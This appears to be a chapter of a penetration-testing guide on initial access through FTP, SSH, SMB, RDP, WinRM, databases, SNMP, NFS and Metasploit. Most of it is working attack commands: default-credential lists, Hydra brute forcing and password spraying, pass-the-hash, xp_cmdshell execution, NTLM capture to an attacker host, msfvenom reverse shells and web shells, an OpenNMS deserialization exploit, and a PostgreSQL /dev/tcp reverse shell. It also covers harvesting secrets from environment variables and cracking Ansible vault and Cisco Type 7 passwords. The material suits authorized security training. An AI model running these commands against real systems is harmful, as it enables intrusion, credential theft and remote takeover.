Chapter 3: Initial Access — Service & Protocol Exploitation¶
Tags: #smb #ftp #ssh #rdp #smtp #mssql #mysql #snmp #nfs #winrm #metasploit #hydra #crackmapexec #evil-winrm
Overview¶
When the target has no web surface, or the web surface is hardened, pivot to service exploitation. This chapter is port-indexed: find your open port in the triage table, follow the section. Every service section follows the same flow: enumerate → try default creds → brute force if needed → exploit or use access gained.
Service Triage Decision Tree¶
You have a list of open ports from Chapter 1 Nmap scan
│
├── Port 21 → FTP §1
├── Port 22 → SSH §2
├── Port 25/587/465 → SMTP §3
├── Port 110/143/993/995 → Email §3
├── Port 445 → SMB §4
├── Port 3389 → RDP §5
├── Port 5985/5986 → WinRM §6
├── Port 1433 → MSSQL §7
├── Port 3306 → MySQL §7
├── Port 161/UDP → SNMP §8
├── Port 2049 → NFS §9
└── Any port → Metasploit §10
│
├── For EVERY service: try default creds first (§0)
├── No creds? → brute force (§11)
└── Creds work somewhere? → try them EVERYWHERE (credential reuse)
0. Default Credentials — Try These First on Every Service¶
Info
Trying 5 common default pairs costs 10 seconds. Skipping this step and going straight to brute forcing costs hours. Default creds hit more often than most people admit.
| Service | Common Default Credentials |
|---|---|
| FTP | anonymous / (blank) |
| SSH | root:root, root:toor, admin:admin |
| SMB | guest / (blank), administrator / (blank) |
| Tomcat | tomcat:tomcat, admin:admin, tomcat:s3cret |
| MSSQL | sa:sa, sa: (blank) |
| MySQL | root: (blank), root:root |
| RDP | administrator:admin, administrator:Password1 |
| WinRM | Same as SMB/RDP creds |
| Jenkins | admin:admin, admin:password, no-auth |
| Splunk | admin:changeme |
| SNMP | Community string public, private |
| NFS | No auth — check if export is open |
1. FTP (Port 21)¶
1. Nmap version + default scripts (checks anonymous login automatically)
-sC runs ftp-anon script — if output shows Anonymous FTP login allowed, proceed to step 2.
2. Anonymous login attempt
ftp> ls -la
ftp> pwd
ftp> cd /
ftp> mget * # Download everything recursively
ftp> binary # Switch to binary mode for non-text files
ftp> get <FILE>
3. Brute force FTP credentials
hydra -L /usr/share/SecLists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/wordlists/rockyou.txt \
-t 10 -f \
ftp://<TARGET_IP>
4. Authenticated FTP — download and grep for credentials
ftp <TARGET_IP>
ftp> mget *
ftp> quit
# Search downloaded files for credentials
grep -ri "password\|passwd\|secret\|key\|token" ./
2. SSH (Port 22)¶
Warning
SSH brute force is slow and noisy. Before brute forcing: check if you found usernames anywhere (SMTP, web app, SMB). Check for weak keys or password reuse from other services first.
1. Banner grab — check SSH version for known CVEs
2. Try default and obvious credentials
3. SSH with a private key (found during recon)
4. Brute force SSH (known username)
5. Brute force SSH (unknown username)
hydra -L /usr/share/SecLists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/SecLists/Passwords/Common-Credentials/top-passwords-shortlist.txt \
-t 4 -f \
ssh://<TARGET_IP>
3. Email Services — SMTP/IMAP/POP3 (Ports 25/587/110/143)¶
1. Enumerate SMTP capabilities
Ifsmtp-open-relay returns 14/16 — the server is an open relay. Useful for phishing during engagements.
2. SMTP user enumeration (VRFY/EXPN/RCPT TO)
# VRFY method
smtp-user-enum -M VRFY -U /usr/share/SecLists/Usernames/top-usernames-shortlist.txt \
-t <TARGET_IP>
# RCPT TO method (works on more servers)
smtp-user-enum -M RCPT -U /usr/share/SecLists/Usernames/top-usernames-shortlist.txt \
-t <TARGET_IP> -D <TARGET_DOMAIN>
3. Manual SMTP interaction
4. Connect to IMAP and read emails (with creds)
curl -k "imaps://<TARGET_IP>" --user <USER>:<PASS>
curl -k "imaps://<TARGET_IP>/INBOX" --user <USER>:<PASS>
# List all mailboxes:
curl -k "imaps://<TARGET_IP>" --user <USER>:<PASS> -X "LIST \"\" \"*\""
4. SMB (Port 445)¶
Info
SMB is one of the highest-value services. NULL sessions leak users, shares, and domain info. CrackMapExec turns credentials into remote code execution in one command.
1. Null session enumeration — no creds needed
# List shares
smbclient -N -L //<TARGET_IP>
smbmap -H <TARGET_IP>
# Comprehensive null session enum (users, groups, shares, policies)
enum4linux-ng <TARGET_IP>
2. Access a share with null session
3. Recursive share enumeration with smbmap
smbmap -H <TARGET_IP> -u '' -p '' -R
smbmap -H <TARGET_IP> -u <USER> -p <PASS> -R
# Download a file:
smbmap -H <TARGET_IP> -u <USER> -p <PASS> --download '<SHARE>\<FILE>'
4. Authenticated access — connect and browse
5. CrackMapExec — credential validation and spray
# Test single credential
crackmapexec smb <TARGET_IP> -u <USER> -p <PASS>
# Spray across a subnet
crackmapexec smb <TARGET_RANGE>/24 -u <USER> -p <PASS> --continue-on-success
# Spray with user list
crackmapexec smb <TARGET_IP> -u users.txt -p <PASS> --continue-on-success
[+] in output = valid creds. (Pwn3d!) = local admin.
6. CrackMapExec — remote command execution (with local admin)
# CMD execution
crackmapexec smb <TARGET_IP> -u <USER> -p <PASS> -x 'whoami'
# PowerShell execution
crackmapexec smb <TARGET_IP> -u <USER> -p <PASS> -X 'Get-LocalUser'
# Pass-the-Hash (no password needed)
crackmapexec smb <TARGET_IP> -u <USER> -H <NTLM_HASH> -x 'whoami'
7. PSExec via Impacket (interactive shell, with admin creds)
8. SMB brute force
5. RDP (Port 3389)¶
Warning
RDP accounts lock after 3-5 failed attempts by default. Brute force lightly or avoid if account lockout is in effect. Always confirm lockout threshold first via SMB enumeration (enum4linux-ng shows password policy).
1. Nmap RDP enumeration
2. Connect with credentials
xfreerdp /v:<TARGET_IP> /u:<USER> /p:<PASS> /cert:ignore
xfreerdp /v:<TARGET_IP> /u:<USER> /p:<PASS> /cert:ignore /clipboard
rdesktop -u <USER> -p <PASS> <TARGET_IP>
3. Restricted RDP access bypass (if NLA is required)
# NLA requires domain credentials — try with domain prefix
xfreerdp /v:<TARGET_IP> /u:<DOMAIN>\\<USER> /p:<PASS> /cert:ignore
4. Brute force RDP (slow, carefully)
-t 1 = one thread, -W 3 = 3 second wait between attempts. RDP is slow to respond.
5. Spray valid creds via CrackMapExec (RDP module)
6. WinRM (Ports 5985/5986)¶
Info
WinRM is PowerShell remote management. Port 5985 = HTTP, 5986 = HTTPS. If you have local admin or domain creds, evil-winrm gives you a full PowerShell session immediately. This is often cleaner than PSExec.
1. Check if WinRM is accessible
(Pwn3d!) in output = user is in the Remote Management Users group.
2. Evil-WinRM — interactive PowerShell session
evil-winrm -i <TARGET_IP> -u <USER> -p <PASS>
# With NTLM hash (Pass-the-Hash)
evil-winrm -i <TARGET_IP> -u <USER> -H <NTLM_HASH>
# Upload a file
evil-winrm> upload /local/path/file.exe C:\Windows\Temp\file.exe
# Download a file
evil-winrm> download C:\path\to\file.txt /local/path/
3. Run commands via WinRM (non-interactive)
7. Database Services — MSSQL (1433) & MySQL (3306)¶
7a. MSSQL¶
1. Connect to MSSQL
# Impacket (best option)
impacket-mssqlclient <USER>:<PASS>@<TARGET_IP> -windows-auth
# sqsh
sqsh -S <TARGET_IP> -U <USER> -P '<PASS>'
# From Windows
sqlcmd -S <TARGET_IP> -U <USER> -P '<PASS>'
2. Basic enumeration
SELECT name FROM sys.databases; -- List all databases
USE <DATABASE>;
SELECT table_name FROM information_schema.tables;
SELECT * FROM users;
3. Enable xp_cmdshell for OS command execution
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
4. Execute OS commands via xp_cmdshell
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell 'powershell -enc <BASE64_PAYLOAD>';
5. Capture NTLM hash via UNC path (Responder on attacker)
-- In MSSQL:
EXEC xp_subdirs '\\<ATTACKER_IP>\share\';
-- OR:
EXEC xp_dirtree '\\<ATTACKER_IP>\share\', 1, 1;
7b. MySQL¶
1. Connect to MySQL
2. Basic enumeration
SHOW DATABASES;
USE <DATABASE>;
SHOW TABLES;
SELECT * FROM users;
SELECT user, authentication_string FROM mysql.user; -- Dump password hashes
3. Check file privileges
If value is empty or/var/www/html, you can write files.
4. Write a web shell (if FILE privilege and writable webroot)
5. Read local files
8. SNMP (Port 161 UDP)¶
Info
SNMP with community string public is a goldmine — leaks hostname, running processes, installed software, network interfaces, and sometimes credentials. Always check UDP 161 before giving up on a target.
1. Check for default community strings
# SNMPwalk with 'public'
snmpwalk -v2c -c public <TARGET_IP>
# SNMPwalk with 'private'
snmpwalk -v2c -c private <TARGET_IP>
# Brute force community strings
onesixtyone -c /usr/share/SecLists/Discovery/SNMP/snmp.txt <TARGET_IP>
2. Enumerate specific SNMP OIDs
# System description (OS info)
snmpwalk -v2c -c public <TARGET_IP> 1.3.6.1.2.1.1.1.0
# Running processes
snmpwalk -v2c -c public <TARGET_IP> 1.3.6.1.2.1.25.4.2.1.2
# Installed software
snmpwalk -v2c -c public <TARGET_IP> 1.3.6.1.2.1.25.6.3.1.2
# Network interfaces
snmpwalk -v2c -c public <TARGET_IP> 1.3.6.1.2.1.2.2.1.2
# Open TCP ports
snmpwalk -v2c -c public <TARGET_IP> 1.3.6.1.2.1.6.13.1.3
3. Nmap SNMP scripts
9. NFS (Port 2049)¶
Info
NFS exports often have no authentication. If a share is exported to * (world-readable), you can mount it and read everything. If writable, you can plant SSH keys.
1. Enumerate NFS exports
Look for exports with* in the allowed hosts column — accessible by anyone.
2. Mount an NFS share
mkdir /tmp/nfs_mount
sudo mount -t nfs <TARGET_IP>:<EXPORT_PATH> /tmp/nfs_mount -o nolock
ls -la /tmp/nfs_mount
3. UID manipulation — access files owned by specific user
# If files are owned by UID 1000 and you can't read them:
sudo adduser --uid 1000 tempuser
su tempuser
ls /tmp/nfs_mount
4. Write SSH key to writable NFS share (if it's a home directory)
# Generate a key pair
ssh-keygen -t rsa -f /tmp/nfs_key -N ""
# Copy public key to mounted home directory
cp /tmp/nfs_key.pub /tmp/nfs_mount/.ssh/authorized_keys
chmod 600 /tmp/nfs_mount/.ssh/authorized_keys
# SSH in with the private key
ssh -i /tmp/nfs_key <USER>@<TARGET_IP>
10. Metasploit — Exploit Framework¶
Info
Use Metasploit when: (1) you have a specific CVE and need a reliable exploit, (2) you need a Meterpreter session for post-exploitation, or (3) manual exploitation has failed and time is limited. Understand what it's doing — never blindly run modules.
1. Launch Metasploit
2. Search for exploits
search ms17_010
search type:exploit platform:windows cve:2021 rank:excellent
search eternalblue type:exploit
3. Load, configure, and run
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS <TARGET_IP>
set LHOST <ATTACKER_IP>
set LPORT <LPORT>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
4. Key Meterpreter commands
meterpreter > sysinfo # System info + OS version
meterpreter > getuid # Current user
meterpreter > getprivs # Privileges held
meterpreter > shell # Drop to system shell
meterpreter > screenshot # Screenshot desktop
meterpreter > upload /local/file C:\\Windows\\Temp\\file.exe
meterpreter > download C:\\path\\file.txt /local/
meterpreter > ipconfig # Network interfaces (look for internal IPs)
meterpreter > run post/multi/recon/local_exploit_suggester # Privesc suggestions
meterpreter > background # Background session
sessions # List all sessions
sessions -i <ID> # Return to session
5. Payload generation with msfvenom
# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=<ATTACKER_IP> LPORT=<LPORT> \
-f exe -o shell.exe
# Linux reverse shell ELF
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=<ATTACKER_IP> LPORT=<LPORT> \
-f elf -o shell.elf
# PHP web shell
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=<ATTACKER_IP> LPORT=<LPORT> \
-f raw -o shell.php
# JSP web shell (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=<ATTACKER_IP> LPORT=<LPORT> \
-f war -o shell.war
6. Set up a multi/handler to catch shells
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT <LPORT>
run -j # -j = run as background job
11. Login Brute Forcing¶
11a. Hydra — Quick Reference¶
General syntax
Per-protocol commands
# SSH
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt -t 4 -f ssh://<TARGET_IP>
# FTP
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 8 -f ftp://<TARGET_IP>
# SMB
hydra -L users.txt -P passwords.txt -t 4 -f smb://<TARGET_IP>
# RDP (use very low thread count)
hydra -l <USER> -P passwords.txt -t 1 -W 3 -f rdp://<TARGET_IP>
# MySQL
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 4 -f mysql://<TARGET_IP>
# HTTP POST form
hydra -l <USER> -P passwords.txt <TARGET_IP> \
http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid"
# F= is failure string, S= is success string
# HTTP Basic Auth
hydra -l admin -P passwords.txt http-get://<TARGET_IP>/admin
11b. CUPP — Targeted Wordlist Generation¶
Info
CUPP builds wordlists based on a target's personal information (name, birth date, pet, partner, etc.). Use when you know something about the target from OSINT. Often far more effective than rockyou.txt against individuals.
cupp -i
# Answer the interactive questionnaire:
# - First name, surname, nickname
# - Birth date, partner, pet name
# - Company name
# - Keywords (sports team, hobby, etc.)
# Output: <name>.txt custom wordlist
11c. Smart Brute Force Strategy¶
Before brute forcing anything:
│
├── Do I have a username? (from SMTP enum, web app, SMB)
│ ├── YES → targeted attack: -l <user> -P rockyou.txt
│ └── NO → use top-usernames-shortlist.txt for both -L and -P
│
├── Is there a password policy? (check via enum4linux-ng)
│ ├── Min 8 chars, uppercase, numbers → filter rockyou.txt first:
│ │ grep -E '^.{8,}$' rockyou.txt | grep -E '[A-Z]' | grep -E '[0-9]' > filtered.txt
│ └── No policy info → use full rockyou.txt
│
├── Is account lockout enabled?
│ ├── YES → USE PASSWORD SPRAY, NOT BRUTE FORCE
│ │ spray 1-2 passwords per user per hour
│ └── NO → brute force with -t 4 (stay reasonable)
│
└── RDP lockout: always use -t 1 -W 3 minimum for RDP
Chapter 3 → Next Step Decision¶
Did you get valid credentials or a shell?
│
├── Shell obtained → Chapter 4 (Foothold Consolidation)
│
├── Valid credentials obtained (no shell yet)
│ │
│ ├── Creds work on SSH/WinRM/RDP? → interactive shell → Ch. 4
│ ├── Creds work on SMB + user is admin? → psexec/CME → Ch. 4
│ └── Creds work on DB only?
│ → Check for xp_cmdshell (MSSQL) or FILE write (MySQL) → §7
│
├── No creds, no shell — what did you find?
│ ├── Usernames (SMTP/SMB enum) → feed into Ch.2 web login brute
│ ├── SNMP data with process/software list → look for CVEs
│ ├── NFS mount with readable data → look for hardcoded creds in files
│ └── Nothing → go back to Ch.1, re-run full port scan,
│ check UDP, check non-standard ports
│
└── You have a low-priv shell → Chapter 4 (Foothold Consolidation)
OpenNMS — Java Deserialization via JMX Configuration Generator¶
Default credentials:
admin:admin. The JMX Configuration Generator feature passes a user-supplied connection string to the JVM without validation, triggering JNDI lookup via a JRMP listener.
# Step 1: Start JRMP listener on Kali with ysoserial payload
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 \
'bash -c {echo,<BASE64_ENCODED_REVSHELL>}|{base64,-d}|bash'
# Step 2: Set up reverse shell listener
nc -lvnp 443
# Step 3: In OpenNMS UI → Configuration → JMX Configuration Generator
# Set JMX Service URL to:
service:jmx:rmi:///jndi/rmi://<ATTACKER_IP>:1099/jmxrmi
# Click "Test Connection" or "Save" to trigger deserialization
# Step 4: Post-shell — enumerate Docker network
for i in $(seq 1 30); do
for port in 21 22 80 443 445 3306 5432 8080 8443 9000; do
(echo > /dev/tcp/172.18.0.$i/$port) 2>/dev/null && \
echo "172.18.0.$i:$port open" &
done
done
wait
# Check environment variables for creds:
env | grep -iE "password|pass|secret|key|user"
cat /proc/1/environ | tr '\0' '\n' | grep -iE "password|pass|secret"
PostgreSQL — COPY FROM PROGRAM RCE¶
Requires superuser
postgresaccount.COPY FROM PROGRAMexecutes OS commands as the postgres process user.
# Connect (may need to port-forward via chisel/ligolo first)
psql -h <TARGET_IP> -p 5432 -U postgres -d <DBNAME>
# Verify RCE
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
# Reverse shell
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1"';
# Read files (alternative to RCE):
COPY cmd_exec FROM PROGRAM 'cat /etc/passwd';
SELECT * FROM cmd_exec;
Ansible Vault — Cracking Inline Vault Blocks¶
Ansible vault blocks embedded in YAML files (
!vault |) must be extracted individually before cracking. Each block may use a different vault password.
# Step 1: Extract each vault block into its own file
# Remove leading spaces — the file must start with $ANSIBLE_VAULT
cat > vault_password.hash << 'EOF'
$ANSIBLE_VAULT;1.1;AES256
<hex line 1>
<hex line 2>
<hex line 3>
EOF
# Step 2: Convert to john format
ansible2john vault_password.hash > vault_password.john
ansible2john vault_username.hash > vault_username.john
# Step 3: Crack
john vault_password.john --wordlist=/usr/share/wordlists/rockyou.txt
john vault_username.john --wordlist=/usr/share/wordlists/rockyou.txt
john vault_password.john --show
# Step 4: Decrypt to plaintext
ansible-vault decrypt vault_password.hash --vault-password-file <(echo -n '<CRACKED_PASSWORD>')
cat vault_password.hash # now contains plaintext credential
# NOTE: ansible-vault view/decrypt fails on full YAML files with inline !vault | blocks
# Must extract each block to its own standalone file first
Cisco Type 7 Password Decoding¶
Type 7 is reversible obfuscation, not encryption. Any Type 7 hash can be decoded without brute force.
# Python one-liner decoder:
python3 -c "
key='dsfd;kfoA,.iyewrkldJKVXcndhrs'
c='<TYPE7_HASH_HERE>'
s=int(c[:2])
e=[int(c[i:i+2],16)^ord(key[(s+i//2)%len(key)]) for i in range(2,len(c),2)]
print(''.join(chr(x) for x in e))"
# Common location: Cisco router configs stored in file shares or chat platforms
# Look for lines like: username admin password 7 <HASH>
# Also: enable secret 7 <HASH>